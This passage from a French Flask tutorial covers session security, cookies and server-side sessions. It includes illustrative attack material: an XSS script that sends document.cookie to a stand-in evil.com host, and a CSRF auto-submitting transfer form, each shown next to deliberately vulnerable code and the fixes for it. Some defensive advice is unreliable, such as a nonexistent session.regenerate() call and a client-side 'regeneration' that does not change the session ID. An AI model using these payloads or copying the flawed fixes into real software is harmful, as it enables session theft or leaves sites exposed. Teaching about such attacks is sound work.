    if not SECRET_KEY:
        raise ValueError("SECRET_KEY must be set in production")
    
    # HTTPS obligatoire
    SESSION_COOKIE_SECURE = True
    
    # Domaine partagé si multi-apps
    SESSION_COOKIE_DOMAIN = os.environ.get('SESSION_COOKIE_DOMAIN')
    
    # Durée selon politique entreprise
    PERMANENT_SESSION_LIFETIME = timedelta(days=30)


class TestingConfig(Config):
    """Configuration tests"""
    
    TESTING = True
    SECRET_KEY = 'test-secret-key'
    
    # Désactiver CSRF pour tests
    WTF_CSRF_ENABLED = False
    
    # Sessions courtes pour tests
    PERMANENT_SESSION_LIFETIME = timedelta(seconds=10)


# Dictionnaire de configurations
config = {
    'development': DevelopmentConfig,
    'production': ProductionConfig,
    'testing': TestingConfig,
    'default': DevelopmentConfig
}


# app.py
from flask import Flask
from config import config

def create_app(config_name='default'):
    """Application Factory avec config"""
    
    app = Flask(__name__)
    
    # Charger configuration
    app.config.from_object(config[config_name])
    
    # Vérifications
    if not app.config.get('SECRET_KEY'):
        raise ValueError("SECRET_KEY is required")
    
    return app

# Utilisation
app = create_app(os.environ.get('FLASK_ENV') or 'development')


# ============================================================================
# [GUIDE] CHAPITRE 5 : SÉCURITÉ DES SESSIONS
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Protéger les sessions contre les attaques courantes
[OK] Session Fixation et comment l'éviter
[OK] Session Hijacking et prévention
[OK] CSRF et sessions
[OK] XSS et sessions
[OK] Best practices de sécurité
"""


# ----------------------------------------------------------------------------
# [VERROUILLE] ATTAQUES COURANTES ET PROTECTIONS
# ----------------------------------------------------------------------------

"""
1. SESSION FIXATION
───────────────────

[IDEE] ATTAQUE :

1. Attaquant force une session ID spécifique
2. Victime se connecte avec cette session
3. Attaquant utilise la même session
4. -> Accès au compte de la victime !


SCÉNARIO CONCRET :
"""

# [X] CODE VULNÉRABLE
@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    
    user = User.query.filter_by(username=username).first()
    
    if user and user.check_password(password):
        # [X] Réutilise la session existante !
        session['user_id'] = user.id
        return redirect('/dashboard')

"""
Attaque :
1. Attaquant visite /login -> obtient session ID abc123
2. Attaquant envoie lien à victime avec cookie session=abc123
3. Victime clique, se connecte
4. session['user_id'] est défini DANS LA SESSION abc123
5. Attaquant utilise session abc123 -> connecté comme victime !
"""

# [OK] PROTECTION : Régénérer session ID après login
@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    
    user = User.query.filter_by(username=username).first()
    
    if user and user.check_password(password):
        # [OK] Sauvegarder données temporairement
        old_session_data = dict(session)
        
        # [OK] Régénérer session (nouveau ID)
        session.clear()
        session.regenerate()  # Flask 2.3+
        
        # Ou manuellement :
        # session.clear()
        # session.modified = True
        
        # [OK] Restaurer données non sensibles
        for key in ['language', 'theme']:
            if key in old_session_data:
                session[key] = old_session_data[key]
        
        # [OK] Définir nouvelle session
        session['user_id'] = user.id
        session.permanent = True
        
        return redirect('/dashboard')


"""
2. SESSION HIJACKING
────────────────────

[IDEE] ATTAQUE :

Attaquant vole le cookie de session et l'utilise


VECTEURS D'ATTAQUE :
- XSS (JavaScript malveillant)
- Network sniffing (HTTP non chiffré)
- Malware
- Session sidejacking


[OK] PROTECTIONS :
"""

# 1. HttpOnly (empêche accès JavaScript)
app.config['SESSION_COOKIE_HTTPONLY'] = True

# 2. Secure (HTTPS seulement)
app.config['SESSION_COOKIE_SECURE'] = True

# 3. SameSite (CSRF protection)
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'

# 4. Lier session à IP et User-Agent
@app.before_request
def verify_session():
    """Vérifier que session n'est pas hijackée"""
    
    if 'user_id' in session:
        # Vérifier IP (optionnel, problème avec proxies)
        stored_ip = session.get('_ip')
        current_ip = request.remote_addr
        
        if stored_ip and stored_ip != current_ip:
            # IP changée -> potentiel hijacking
            session.clear()
            flash('Session invalide, veuillez vous reconnecter')
            return redirect('/login')
        
        # Vérifier User-Agent
        stored_ua = session.get('_user_agent')
        current_ua = request.headers.get('User-Agent')
        
        if stored_ua and stored_ua != current_ua:
            session.clear()
            flash('Session invalide')
            return redirect('/login')

@app.route('/login', methods=['POST'])
def login():
    # Après authentification réussie
    session['user_id'] = user.id
    
    # Stocker empreinte
    session['_ip'] = request.remote_addr
    session['_user_agent'] = request.headers.get('User-Agent')
    
    return redirect('/dashboard')


"""
3. XSS (Cross-Site Scripting)
─────────────────────────────

[IDEE] ATTAQUE :

Injecter JavaScript malveillant pour voler cookies


EXEMPLE D'ATTAQUE :
"""

# Formulaire de commentaire
@app.route('/comment', methods=['POST'])
def post_comment():
    comment = request.form['comment']
    
    # [X] VULNÉRABLE : Stocke sans échapper
    save_comment(comment)

# Template affiche commentaire
"""
<!-- [X] VULNÉRABLE -->
<p>{{ comment|safe }}</p>

Si comment = "<script>
    document.location='http://evil.com/steal?cookie='+document.cookie
</script>"

-> Cookie envoyé à attaquant !
"""

# [OK] PROTECTION 1 : HttpOnly (cookie inaccessible à JS)
app.config['SESSION_COOKIE_HTTPONLY'] = True

# [OK] PROTECTION 2 : Échapper HTML (Jinja2 par défaut)
"""
<!-- [OK] SÉCURISÉ (défaut Jinja2) -->
<p>{{ comment }}</p>

Output : &lt;script&gt;...&lt;/script&gt;
-> Affiché comme texte, pas exécuté !
"""

# [OK] PROTECTION 3 : Content Security Policy
@app.after_request
def set_csp(response):
    response.headers['Content-Security-Policy'] = "script-src 'self'"
    return response


"""
4. CSRF (Cross-Site Request Forgery)
────────────────────────────────────

[IDEE] ATTAQUE :

Site malveillant fait requête vers votre site avec cookies utilisateur


SCÉNARIO :
"""

# Victime connectée sur votresite.com
# Visite sitemalveillant.com

# sitemalveillant.com contient :
"""
<form action="https://votresite.com/transfer-money" method="POST">
    <input name="amount" value="1000">
    <input name="to" value="attacker_account">
</form>
<script>document.forms[0].submit();</script>
"""

# Sans protection :
# -> Navigateur envoie cookie automatiquement
# -> Requête authentifiée !
# -> Argent transféré !

# [OK] PROTECTION 1 : SameSite cookie
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
# Cookie pas envoyé lors de POST cross-site

# [OK] PROTECTION 2 : CSRF Token (Flask-WTF)
from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect(app)

# Template formulaire
"""
<form method="POST">
    {{ form.hidden_tag() }}  <!-- Token CSRF -->
    ...
</form>
"""

# [OK] PROTECTION 3 : Vérifier Referer/Origin
@app.before_request
def check_referer():
    if request.method == 'POST':
        referer = request.headers.get('Referer')
        origin = request.headers.get('Origin')
        
        if referer and not referer.startswith(request.host_url):
            abort(403)  # Referer invalide


"""
5. SESSION TIMING ATTACK
────────────────────────

[IDEE] ATTAQUE :

Deviner session ID par force brute


[OK] PROTECTIONS :
"""

# 1. Session ID long et aléatoire (Flask le fait déjà)
# Flask génère ID de ~40 caractères hexadécimaux

# 2. Rate limiting sur endpoints sensibles
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"]
)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # Max 5 tentatives/minute
def login():
    pass

# 3. Bloquer après X tentatives échouées
login_attempts = {}  # En prod : Redis

@app.route('/login', methods=['POST'])
def login():
    ip = request.remote_addr
    
    # Vérifier tentatives
    if login_attempts.get(ip, 0) >= 5:
        return "Trop de tentatives, réessayez dans 15 minutes", 429
    
    # Tentative login
    if not authenticate(username, password):
        login_attempts[ip] = login_attempts.get(ip, 0) + 1
        return "Login failed"
    
    # Succès : reset compteur
    login_attempts.pop(ip, None)
    session['user_id'] = user.id
    return redirect('/dashboard')


# ----------------------------------------------------------------------------
# [SECURITE] BEST PRACTICES SÉCURITÉ SESSIONS
# ----------------------------------------------------------------------------

"""
CHECKLIST SÉCURITÉ COMPLÈTE
"""

# [OK] 1. SECRET_KEY forte et sécurisée
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')
assert app.config['SECRET_KEY'], "SECRET_KEY required"
assert len(app.config['SECRET_KEY']) >= 32, "SECRET_KEY too short"

# [OK] 2. HttpOnly activé
app.config['SESSION_COOKIE_HTTPONLY'] = True

# [OK] 3. Secure en production (HTTPS)
if not app.debug:
    app.config['SESSION_COOKIE_SECURE'] = True

# [OK] 4. SameSite pour CSRF
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'

# [OK] 5. Durée de vie raisonnable
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=24)

# [OK] 6. Régénérer session après login
@app.route('/login', methods=['POST'])
def login():
    # ... authentification ...
    
    # Régénérer session
    old_data = dict(session)
    session.clear()
    session.modified = True
    
    # Restaurer données non sensibles
    for key in ['language', 'theme']:
        if key in old_data:
            session[key] = old_data[key]
    
    session['user_id'] = user.id

# [OK] 7. Vérifier empreinte session
@app.before_request
def check_session_fingerprint():
    if 'user_id' in session:
        # Vérifier User-Agent
        stored_ua = session.get('_ua')
        if stored_ua != request.user_agent.string:
            session.clear()
            return redirect('/login')

# [OK] 8. Timeout d'inactivité
@app.before_request
def check_session_timeout():
    if 'user_id' in session:
        last_activity = session.get('_last_activity')
        
        if last_activity:
            from datetime import datetime
            last = datetime.fromisoformat(last_activity)
            now = datetime.now()
            
            # Timeout 30 minutes
            if (now - last).seconds > 1800:
                session.clear()
                flash('Session expirée')
                return redirect('/login')
        
        # Mettre à jour
        session['_last_activity'] = datetime.now().isoformat()

# [OK] 9. Logout propre
@app.route('/logout')
def logout():
    session.clear()
    response = redirect('/')
    
    # Supprimer cookie explicitement
    response.set_cookie('session', '', expires=0)
    
    return response

# [OK] 10. Pas de données sensibles en session
# [X] MAUVAIS
session['password'] = user.password
session['credit_card'] = '1234-5678-9012-3456'

# [OK] BON
session['user_id'] = user.id  # Seulement ID
# Données sensibles -> Base de données


"""
CONFIGURATION SÉCURISÉE COMPLÈTE
"""

# config_secure.py
class SecureProductionConfig:
    """Configuration ultra-sécurisée pour production"""
    
    # Secret Key
    SECRET_KEY = os.environ.get('SECRET_KEY')
    if not SECRET_KEY or len(SECRET_KEY) < 32:
        raise ValueError("SECRET_KEY must be at least 32 characters")
    
    # Session Cookies
    SESSION_COOKIE_NAME = '__Host-session'  # Préfixe sécurisé
    SESSION_COOKIE_SECURE = True
    SESSION_COOKIE_HTTPONLY = True
    SESSION_COOKIE_SAMESITE = 'Strict'  # Max sécurité
    SESSION_COOKIE_DOMAIN = None  # Domaine exact seulement
    SESSION_COOKIE_PATH = '/'
    
    # Durée de vie
    PERMANENT_SESSION_LIFETIME = timedelta(hours=1)
    SESSION_REFRESH_EACH_REQUEST = False  # Expiration absolue
    
    # Security Headers
    SECURITY_HEADERS = {
        'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
        'X-Content-Type-Options': 'nosniff',
        'X-Frame-Options': 'SAMEORIGIN',
        'X-XSS-Protection': '1; mode=block',
        'Content-Security-Policy': "default-src 'self'"
    }

# Appliquer headers
@app.after_request
def set_security_headers(response):
    for header, value in app.config.get('SECURITY_HEADERS', {}).items():
        response.headers[header] = value
    return response


# Ce fichier continue dans session_partie2_suite.txt...

# ============================================================================
# [LIVRE] SESSIONS FLASK - PARTIE 2 (SUITE) : COOKIES ET SESSIONS SERVEUR
# ============================================================================

# Suite du Chapitre 6 et Chapitre 7


# ============================================================================
# [GUIDE] CHAPITRE 6 : COOKIES ET SESSIONS EN DÉTAIL
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Différence précise entre sessions et cookies
[OK] Manipuler cookies bruts avec Flask
[OK] Combiner sessions et cookies
[OK] Cas d'usage spécifiques
[OK] Debugging cookies et sessions
"""


# ----------------------------------------------------------------------------
# [COOKIE] COOKIES BRUTS vs SESSIONS
# ----------------------------------------------------------------------------

"""
RAPPEL : Différences fondamentales


SESSIONS FLASK (session object)
────────────────────────────────
"""

from flask import session

@app.route('/set-session')
def set_session():
    session['username'] = 'Alice'
    session['preferences'] = {'theme': 'dark', 'lang': 'fr'}
    return "Session créée"

"""
Ce qui se passe :
1. Flask sérialise : {"username": "Alice", "preferences": {...}}
2. Flask signe avec SECRET_KEY (HMAC)
3. Flask crée cookie : session=eyJ1c2VybmFtZSI6IkFsaWNlIi...
4. Cookie contient TOUTES les données (chiffrées/signées)


COOKIES BRUTS (request.cookies / response.set_cookie)
──────────────────────────────────────────────────────
"""

from flask import make_response, request

@app.route('/set-cookie')
def set_cookie():
    resp = make_response("Cookie créé")
    resp.set_cookie('username', 'Alice', max_age=60*60*24)  # 24h
    return resp

@app.route('/get-cookie')
def get_cookie():
    username = request.cookies.get('username')
    return f"Username: {username}"

"""
Ce qui se passe :
1. Vous créez cookie manuellement
2. Pas de sérialisation automatique
3. Pas de signature (sauf si vous le faites)
4. Cookie contient seulement la valeur brute


COMPARAISON DIRECTE
"""

# SESSIONS
@app.route('/session-example')
def session_example():
    # [OK] Sérialisation automatique
    session['user'] = {'id': 1, 'name': 'Alice', 'role': 'admin'}
    
    # [OK] Signature automatique
    # [OK] Protection intégrée
    # [OK] Accès facile : session['user']
    # [X] Limité ~4 KB
    # [X] Envoyé à chaque requête
    
    return "OK"


# COOKIES BRUTS
@app.route('/cookie-example')
def cookie_example():
    resp = make_response("OK")
    
    # [X] Seulement strings simples
    resp.set_cookie('user_id', '1')
    resp.set_cookie('name', 'Alice')
    resp.set_cookie('role', 'admin')
    
    # [X] Pas de protection (sauf options)
    # [X] Accès manuel : request.cookies.get('user_id')
    # [OK] Contrôle total (durée, domain, etc.)
    # [OK] Peut être persistent
    
    return resp


# ----------------------------------------------------------------------------
# [OUTIL] MANIPULER COOKIES BRUTS
# ----------------------------------------------------------------------------

"""
CRÉER UN COOKIE
"""

from flask import make_response
from datetime import datetime, timedelta

@app.route('/create-cookie')
def create_cookie():
    """Créer cookie avec toutes les options"""
    
    resp = make_response("Cookie créé")
    
    resp.set_cookie(
        key='user_pref',           # Nom du cookie
        value='dark_mode',         # Valeur (string uniquement)
        max_age=60*60*24*30,      # Durée en secondes (30 jours)
        expires=None,              # Date expiration (datetime) ou None
        path='/',                  # Path valide
        domain=None,               # Domain (None = actuel)
        secure=False,              # HTTPS uniquement si True
        httponly=True,             # Pas accessible en JS
        samesite='Lax'             # CSRF protection
    )
    
    return resp


"""
[IDEE] OPTIONS DÉTAILLÉES


max_age vs expires
──────────────────
"""

# max_age : Durée relative (secondes)
resp.set_cookie('token', 'abc123', max_age=3600)  # 1 heure

# expires : Date absolue
from datetime import datetime, timedelta
expire_date = datetime.now() + timedelta(days=30)
resp.set_cookie('token', 'abc123', expires=expire_date)

# Les deux : max_age prioritaire dans navigateurs modernes
resp.set_cookie('token', 'abc123', 
                max_age=86400,  # 1 jour
                expires=datetime.now() + timedelta(days=1))


"""
LIRE UN COOKIE
"""

@app.route('/read-cookie')
def read_cookie():
    """Lire cookies"""
    
    # Lire un cookie spécifique
    username = request.cookies.get('username')
    
    # Avec valeur par défaut
    theme = request.cookies.get('theme', 'light')
    
    # Tous les cookies
    all_cookies = request.cookies
    # ImmutableMultiDict([('username', 'Alice'), ('theme', 'dark')])
    
    return f"Username: {username}, Theme: {theme}"


"""
MODIFIER UN COOKIE
"""

@app.route('/update-cookie')
def update_cookie():
    """Modifier cookie existant"""
    
    # Lire ancienne valeur
    old_value = request.cookies.get('counter', '0')
    new_value = str(int(old_value) + 1)
    
    # Créer nouveau cookie (écrase l'ancien)
    resp = make_response(f"Counter: {new_value}")
    resp.set_cookie('counter', new_value)
    
    return resp


"""
SUPPRIMER UN COOKIE
"""

@app.route('/delete-cookie')
def delete_cookie():
    """Supprimer cookie"""
    
    resp = make_response("Cookie supprimé")
    
    # Méthode 1 : delete_cookie()
    resp.delete_cookie('username')
    
    # Méthode 2 : set_cookie avec max_age=0
    resp.set_cookie('theme', '', max_age=0)
    
    # Méthode 3 : set_cookie avec expires passé
    resp.set_cookie('token', '', expires=0)
    
    return resp


# ----------------------------------------------------------------------------
# [MELANGE] COMBINER SESSIONS ET COOKIES
# ----------------------------------------------------------------------------

"""
QUAND UTILISER QUOI ?


USE CASE 1 : Authentification
─────────────────────────────

SESSION pour user_id (temporaire)
COOKIE pour "Remember Me" (persistent)
"""

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    remember = request.form.get('remember')  # Checkbox
    
    user = User.query.filter_by(username=username).first()
    
    if user and user.check_password(password):
        # SESSION : user_id (expire à fermeture navigateur)
        session['user_id'] = user.id
        
        resp = make_response(redirect('/dashboard'))
        
        if remember:
            # COOKIE : Remember token (persistent 30 jours)
            import secrets
            token = secrets.token_urlsafe(32)
            
            # Sauvegarder token en DB
            user.remember_token = token
            db.session.commit()
            
            # Cookie persistent
            resp.set_cookie(
                'remember_token',
                token,
                max_age=60*60*24*30,  # 30 jours
                httponly=True,
                secure=True
            )
        
        return resp
    
    return "Login failed"


@app.before_request
def load_user_from_remember():
    """Charger user depuis remember cookie si pas de session"""
    
    if 'user_id' not in session:
        remember_token = request.cookies.get('remember_token')
        
        if remember_token:
            user = User.query.filter_by(remember_token=remember_token).first()
            
            if user:
                # Créer session depuis cookie
                session['user_id'] = user.id


"""
USE CASE 2 : Préférences UI
───────────────────────────

COOKIE pour préférences (persistent, partagé)
SESSION pour état temporaire
"""

@app.route('/set-language/<lang>')
def set_language(lang):
    """Définir langue (persistent)"""
    
    resp = make_response(redirect('/'))
    
    # COOKIE : Langue (persistent, 1 an)
    resp.set_cookie('language', lang, max_age=60*60*24*365)
    
    # SESSION : Mise à jour immédiate
    session['language'] = lang
    
    return resp


@app.before_request
def load_language():
    """Charger langue depuis cookie ou session"""
    
    # Priorité : Session > Cookie > Défaut
    if 'language' not in session:
        session['language'] = request.cookies.get('language', 'en')


"""
USE CASE 3 : Tracking Analytics
───────────────────────────────

COOKIE pour visitor_id unique (très long)
SESSION pour page views (temporaire)
"""

@app.before_request
def track_visitor():
    """Tracker visiteur unique"""
    
    # Cookie visitor_id
    visitor_id = request.cookies.get('visitor_id')
    
    if not visitor_id:
        import uuid
        visitor_id = str(uuid.uuid4())
    
    # Stocker dans response (sera défini)
    g.visitor_id = visitor_id
    g.needs_cookie = visitor_id != request.cookies.get('visitor_id')
    
    # Session : Page views cette visite
    session.setdefault('page_views', 0)
    session['page_views'] += 1


@app.after_request
def set_visitor_cookie(response):
    """Définir visitor cookie si nécessaire"""
    
    if hasattr(g, 'needs_cookie') and g.needs_cookie:
        response.set_cookie(
            'visitor_id',
            g.visitor_id,
            max_age=60*60*24*365*2  # 2 ans
        )
    
    return response


"""
USE CASE 4 : Panier E-commerce
──────────────────────────────

SESSION pour panier (si connecté)
COOKIE pour panier (si non connecté, persistent)
"""

@app.route('/add-to-cart/<int:product_id>')
def add_to_cart(product_id):
    """Ajouter au panier"""
    
    if 'user_id' in session:
        # Connecté : SESSION
        cart = session.get('cart', [])
        cart.append(product_id)
        session['cart'] = cart
        
        resp = make_response(redirect('/cart'))
    else:
        # Non connecté : COOKIE persistent
        cart_cookie = request.cookies.get('guest_cart', '[]')
        import json
        cart = json.loads(cart_cookie)
        cart.append(product_id)
        
        resp = make_response(redirect('/cart'))
        resp.set_cookie(
            'guest_cart',
            json.dumps(cart),
            max_age=60*60*24*30  # 30 jours
        )
    
    return resp


@app.route('/login', methods=['POST'])
def login_merge_cart():
    """Login et fusionner panier guest"""
    
    # ... authentification ...
    
    if user:
        session['user_id'] = user.id
        
        # Fusionner panier guest dans session
        guest_cart = request.cookies.get('guest_cart')
        if guest_cart:
            import json
            guest_items = json.loads(guest_cart)
            session_cart = session.get('cart', [])
            session['cart'] = list(set(session_cart + guest_items))
        
        # Supprimer cookie guest
        resp = make_response(redirect('/dashboard'))
        resp.delete_cookie('guest_cart')
        
        return resp


# ----------------------------------------------------------------------------
# [BUG] DEBUGGING COOKIES ET SESSIONS
# ----------------------------------------------------------------------------

"""
AFFICHER TOUTES LES DONNÉES
"""

@app.route('/debug/session')
def debug_session():
    """Afficher contenu session"""
    
    if not app.debug:
        abort(404)  # Seulement en dev !
    
    import json
    
    session_data = dict(session)
    
    return f"""
    <h1>Session Debug</h1>
    <pre>{json.dumps(session_data, indent=2, default=str)}</pre>
    
    <h2>Session Metadata</h2>
    <ul>
        <li>Permanent: {session.permanent}</li>
        <li>Modified: {session.modified}</li>
        <li>New: {session.new}</li>
    </ul>
    """


@app.route('/debug/cookies')
def debug_cookies():
    """Afficher tous les cookies"""
    
    if not app.debug:
        abort(404)
    
    cookies_html = ""
    for name, value in request.cookies.items():
        cookies_html += f"<li><strong>{name}</strong>: {value}</li>"
    
    return f"""
    <h1>Cookies Debug</h1>
    <ul>{cookies_html}</ul>
    
    <h2>Headers</h2>
    <pre>{request.headers.get('Cookie')}</pre>
    """


"""
MIDDLEWARE DE LOGGING
"""

@app.before_request
def log_session():
    """Logger session avant chaque requête"""
    
    if app.debug:
        import logging
        
        logging.info(f"Session keys: {list(session.keys())}")
        logging.info(f"Cookies: {list(request.cookies.keys())}")


"""
TESTER SESSIONS AVEC CURL
"""

# Créer session
# curl -c cookies.txt http://localhost:5000/login

# Utiliser session
# curl -b cookies.txt http://localhost:5000/dashboard

# Voir cookie
# cat cookies.txt


"""
EXTENSION FLASK-DEBUGTOOLBAR
"""

# pip install flask-debugtoolbar

from flask_debugtoolbar import DebugToolbarExtension

app.config['SECRET_KEY'] = 'dev'
app.debug = True

toolbar = DebugToolbarExtension(app)

# Affiche dans navigateur :
# - Contenu session
# - Cookies
# - Headers
# - Temps de traitement


# ============================================================================
# [GUIDE] CHAPITRE 7 : SESSIONS CÔTÉ SERVEUR
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Limites des sessions client-side
[OK] Configurer Flask-Session
[OK] Utiliser Redis pour sessions
[OK] Utiliser base de données pour sessions
[OK] Utiliser Memcached pour sessions
[OK] Comparer les backends
[OK] Déployer sessions en production
"""


# ----------------------------------------------------------------------------
# [INTERDIT] LIMITES DES SESSIONS CLIENT-SIDE
# ----------------------------------------------------------------------------

"""
RAPPEL : Défaut Flask = Client-side sessions

Données stockées dans cookie signé


[X] PROBLÈMES :

1. TAILLE LIMITÉE
"""

@app.route('/test-size')
def test_size():
    # Essayer de stocker beaucoup de données
    large_data = [f"Item {i}" for i in range(1000)]
    session['data'] = large_data
    
    # [X] Peut dépasser 4 KB -> Erreur !
    # Cookie trop gros -> Rejeté par navigateur

"""
2. DONNÉES VISIBLES (base64 ≠ chiffrement)
"""

# Cookie session : eyJ1c2VyX2lkIjoxMjN9.ZrQK2Q.abc123

# Partie 1 décodée (base64) :
import base64
payload = 'eyJ1c2VyX2lkIjoxMjN9'
decoded = base64.b64decode(payload + '==')  # Padding
# -> '{"user_id":123}'

# [ATTENTION] Données lisibles (juste signées, pas chiffrées) !

"""
3. BANDWIDTH
"""

# Cookie envoyé à CHAQUE requête
# Si session = 3 KB
# 100 requêtes = 300 KB transférés !

"""
4. PAS DE RÉVOCATION SERVEUR
"""

# Une fois cookie créé, impossible de l'invalider côté serveur
# User doit supprimer cookie lui-même


"""
[OK] SOLUTION : SESSIONS CÔTÉ SERVEUR (Flask-Session)

Données stockées sur serveur (Redis, DB, etc.)
Cookie contient seulement ID de session
"""


# ----------------------------------------------------------------------------
# [OUTIL] INSTALLER FLASK-SESSION
# ----------------------------------------------------------------------------

"""
INSTALLATION
"""

# pip install Flask-Session
# pip install redis  # Si backend Redis


# ----------------------------------------------------------------------------
# [ROUGE] BACKEND REDIS (Recommandé Production)
# ----------------------------------------------------------------------------

"""
POURQUOI REDIS ?

[OK] Très rapide (en mémoire)
[OK] Expiration automatique (TTL)
[OK] Scalable (cluster Redis)
[OK] Persistence optionnelle
[OK] Partagé entre serveurs


CONFIGURATION
"""

from flask import Flask, session
from flask_session import Session
import redis

app = Flask(__name__)

# Configuration
app.config['SECRET_KEY'] = 'votre-secret-key'
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_PERMANENT'] = False
app.config['SESSION_USE_SIGNER'] = True  # Signer session ID
app.config['SESSION_KEY_PREFIX'] = 'session:'  # Préfixe clés Redis

# Connexion Redis
app.config['SESSION_REDIS'] = redis.Redis(
    host='localhost',
    port=6379,
    db=0,
    decode_responses=True
)

# Initialiser Flask-Session
Session(app)


"""
[IDEE] CONFIGURATION DÉTAILLÉE


SESSION_TYPE = 'redis'
─────────────────────

Type de backend (redis, memcached, filesystem, sqlalchemy, mongodb)


SESSION_PERMANENT = False
─────────────────────────

Défaut pour nouvelles sessions
- False : Session temporaire
- True : Session permanente (durée définie)


SESSION_USE_SIGNER = True
─────────────────────────

Signer le session ID dans cookie
- True : ID signé (plus sécurisé)
- False : ID non signé


SESSION_KEY_PREFIX = 'session:'
───────────────────────────────

Préfixe pour clés Redis
- 'session:' -> Clés : session:abc123, session:def456
- Utile si plusieurs apps partagent Redis


SESSION_REDIS
─────────────

Instance Redis ou configuration
"""

# Option 1 : Instance Redis directe
import redis
app.config['SESSION_REDIS'] = redis.Redis(host='localhost', port=6379)

# Option 2 : Via URL
app.config['SESSION_REDIS'] = redis.from_url('redis://localhost:6379/0')

# Option 3 : Redis avec password
app.config['SESSION_REDIS'] = redis.Redis(
    host='redis-server.com',
    port=6379,
    password='secret',
    db=0
)

# Option 4 : Redis Sentinel (haute disponibilité)
from redis.sentinel import Sentinel
sentinel = Sentinel([('localhost', 26379)], socket_timeout=0.1)
app.config['SESSION_REDIS'] = sentinel.master_for('mymaster')


"""
UTILISATION (identique aux sessions normales !)
"""

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    
    # [OK] Exactement comme avant !
    session['user_id'] = 123
    session['username'] = username
    session['role'] = 'admin'
    
    # Mais maintenant :
    # 1. Flask-Session génère ID : abc123
    # 2. Stocke dans Redis : session:abc123 -> {"user_id": 123, ...}
    # 3. Cookie contient seulement : session=abc123
    
    return redirect('/dashboard')


@app.route('/dashboard')
def dashboard():
    # [OK] Exactement comme avant !
    user_id = session.get('user_id')
    username = session.get('username')
    
    # Mais maintenant :
    # 1. Flask-Session lit cookie : session=abc123
    # 2. Récupère depuis Redis : session:abc123
    # 3. Données disponibles
    
    return f"Dashboard de {username}"


"""
VÉRIFIER REDIS
"""

# Terminal : redis-cli

# Lister toutes les sessions
# KEYS session:*

# Voir une session
# GET session:abc123
# -> '{"user_id":123,"username":"alice","role":"admin"}'

# Voir TTL (temps restant)
# TTL session:abc123
# -> 3600 (1 heure en secondes)


"""
EXPIRATION AUTOMATIQUE
"""

from datetime import timedelta

# Définir durée de vie
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=2)

@app.route('/login')
def login():
    session.permanent = True  # Activer expiration
    session['user_id'] = 123
    
    # Redis définit TTL automatiquement
    # EXPIRE session:abc123 7200

# Après 2 heures :
# - Redis supprime automatiquement
# - Session invalide
# - User redirigé vers login


"""
RÉVOCATION MANUELLE
"""

@app.route('/admin/revoke-session/<session_id>')
def revoke_session(session_id):
    """Révoquer session d'un user (admin)"""
    
    # Supprimer directement de Redis
    redis_client = app.config['SESSION_REDIS']
    redis_client.delete(f"session:{session_id}")
    
    return "Session révoquée"


# Révoquer toutes les sessions d'un user
@app.route('/admin/revoke-user/<int:user_id>')
def revoke_user(user_id):
    """Révoquer toutes les sessions d'un user"""
    
    redis_client = app.config['SESSION_REDIS']
    
    # Trouver toutes les sessions du user
    for key in redis_client.scan_iter("session:*"):
        session_data = redis_client.get(key)
        
        if session_data:
            import json
            data = json.loads(session_data)
            
            if data.get('user_id') == user_id:
                redis_client.delete(key)
    
    return f"Toutes les sessions du user {user_id} révoquées"


# ----------------------------------------------------------------------------
# [SAUVEGARDE] BACKEND BASE DE DONNÉES (SQLAlchemy)
# ----------------------------------------------------------------------------

"""
QUAND UTILISER ?

[OK] Déjà une base de données
[OK] Pas besoin de vitesse extrême
[OK] Persistence garantie
[OK] Audit et historique


CONFIGURATION
"""

from flask import Flask, session
from flask_session import Session
from flask_sqlalchemy import SQLAlchemy

app = Flask(__name__)

# Configuration
app.config['SECRET_KEY'] = 'votre-secret-key'
app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://user:pass@localhost/mydb'

db = SQLAlchemy(app)

# Configuration Flask-Session
app.config['SESSION_TYPE'] = 'sqlalchemy'
app.config['SESSION_SQLALCHEMY'] = db
app.config['SESSION_SQLALCHEMY_TABLE'] = 'sessions'  # Nom table
app.config['SESSION_PERMANENT'] = False
app.config['SESSION_USE_SIGNER'] = True

Session(app)

# Créer table
with app.app_context():
    db.create_all()


"""
[IDEE] TABLE CRÉÉE AUTOMATIQUEMENT
"""

# Table 'sessions'
"""
CREATE TABLE sessions (
    id INTEGER PRIMARY KEY,
    session_id VARCHAR(255) UNIQUE,
    data TEXT,
    expiry DATETIME
)
"""

# Exemple de données
"""
session_id | data                              | expiry
-----------|-----------------------------------|-------------------
abc123     | {"user_id":123,"username":"alice"}| 2024-12-19 10:00
def456     | {"cart":[1,2,3]}                  | 2024-12-19 11:30
"""


"""
UTILISATION (identique !)
"""

@app.route('/login')
def login():
    session['user_id'] = 123
    # Stocké en base de données
    
    return "Logged in"


"""
NETTOYAGE DES SESSIONS EXPIRÉES
"""

# Flask-Session ne nettoie PAS automatiquement les sessions expirées en DB !
# Il faut un cron job :

from datetime import datetime

def cleanup_expired_sessions():
    """Supprimer sessions expirées (à lancer périodiquement)"""
    
    from app import db
    from flask_session.sessions import SqlAlchemySession
    
    # Supprimer sessions expirées
    db.session.query(SqlAlchemySession).filter(
        SqlAlchemySession.expiry < datetime.utcnow()
    ).delete()
    
    db.session.commit()

